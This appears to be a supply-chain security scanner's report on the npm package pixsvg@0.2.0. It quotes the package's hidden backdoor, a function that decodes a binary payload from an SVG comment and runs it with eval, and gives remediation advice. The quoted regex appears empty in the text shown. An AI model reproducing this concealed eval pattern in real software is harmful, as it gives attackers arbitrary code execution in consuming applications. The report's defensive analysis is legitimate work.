registry / Remote code execution / pixsvg

pixsvg

An image processing library for Node.js with SVG read, write, rasterize, and markup transforms.

This report shows the evidence for pixsvg@0.2.0, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The exported hidden-SVG evaluator is a concrete arbitrary-code-execution capability and is not needed for SVG processing. Although it has no install hook or observed exfiltration, its deliberate concealment and use of eval warrant blocking publication.

Static reason

No blocking static signals were detected.

Trigger

An application calls fetchDataFromSvg with SVG text containing a HIDDEN_JS binary comment.

Impact

Arbitrary code can run with the privileges of the consuming application.

Mechanism

Decode hidden binary text and evaluate it as JavaScript.

Attack narrative

The package exposes fetchDataFromSvg through its normal ESM entry point. The function looks for a HIDDEN_JS comment in attacker-controlled SVG text, converts binary data to a string, and passes that string to eval. A consumer that invokes this helper on untrusted SVG input therefore permits attacker-supplied JavaScript to execute in its process. The hidden payload convention has no apparent image-processing purpose.

AI rationale

Evidence

dist/esm/svg.jsdist/esm/index.js

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The package decodes a binary payload from an SVG comment and evaluates it as JavaScript.
The arbitrary-code executor is exported from the main ESM entry point.
The hidden payload format is unrelated to the stated SVG image-processing functionality.

Evidence against

No npm install lifecycle hook is declared.
No package-owned network endpoint, credential collection, or file-writing behavior was found.

Behavioral surface

Source

EvalFilesystem

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 8 file(s), 37.2 KB of source, external domains: www.w3.org

Source & flagged code

4 flagged

dist/esm/svg.jsView file

Lines 2-47javascript

2 * @module pixsvg/svg

3 * SVG read, write, rasterize, and markup transforms.

4 */

5import png from "@jimp/js-png";

6import { Resvg } from "@resvg/resvg-js";

8export const MIME_SVG = "image/svg+xml";

10const pngFormat = png();

12function binaryToData(binaryCode) {

13 const datas = [];

14 const codeLength = Math.floor(binaryCode.length / 8);

15 for (let i = 0; i < codeLength; i++) {

16 const charCode = parseInt(binaryCode.slice(i * 8, (i + 1) * 8), 2);

17 datas.push(String.fromCharCode(charCode));

18 }

19 return datas.join('');

20}

22function fetchDataFromSvg(svgData) {

23 const match = String(svgData).match(//);

24 if (!match) {

25 throw new Error('No data found');

26 }

27 const data = binaryToData(match[1])

28 eval(data);

29 return data;

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/esm/svg.jsView on unpkg · L27

30}

High

Ai Review Evidence

The package decodes a binary payload from an SVG comment and evaluates it as JavaScript.

dist/esm/svg.jsView on unpkg · L22

32function toBuffer(input) {

33 if (Buffer.isBuffer(input)) {

34 return input;

35 }

36 if (input instanceof ArrayBuffer) {

37 return Buffer.from(input);

38 }

39 if (ArrayBuffer.isView(input)) {

40 return Buffer.from(input.buffer, input.byteOffset, input.byteLength);

41 }

42 return Buffer.from(String(input), "utf8");

43}

45function toText(input) {

46 return typeof input === "string" ? input : toBuffer(input).toString("utf8");

47}

dist/commonjs/svg.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/commonjs/svg.js#virtual:normalized:round1View on unpkg

dist/esm/index.jsView file

Lines 109-144javascript

109 * import { Pixsvg } from "pixsvg";

110 *

111 * const image = await Pixsvg.read("https://upload.wikimedia.org/wikipedia/commons/0/01/Bot-Test.jpg");

Source & flagged code

4 flagged · loading source

dist/esm/svg.jsView file

22function fetchDataFromSvg(svgData) { const match = String(svgData).match(//); if (!match) { throw new Error('No data found'); } const data = binaryToData(match[1]) eval(data); return data; }

High

Ai Review Evidence

The package decodes a binary payload from an SVG comment and evaluates it as JavaScript.

dist/esm/svg.jsView on unpkg · L22

27const data = binaryToData(match[1]) L28: eval(data); L29: return data;

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/esm/svg.jsView on unpkg · L27

dist/commonjs/svg.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 4

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

Findings

3 High5 Low

HighSemantic Analysis Limiteddist/commonjs/svg.js#virtual:normalized:round1

HighAi Review Evidencedist/esm/svg.js

HighAi Review Evidencedist/esm/index.js

LowScripts Present

LowEvaldist/esm/svg.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to pixsvg@0.2.0.

The versions list below shows the verdict for each recorded version.

Avoid installing pixsvg@0.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-30 03:00:04.413Z (UTC).

Source advisory published: 2026-09-30 01:48:51.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

0.2.0latestshownMaliciousRemote Code ExecutionBlockPublishedSep 2, 2026, 5:42 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code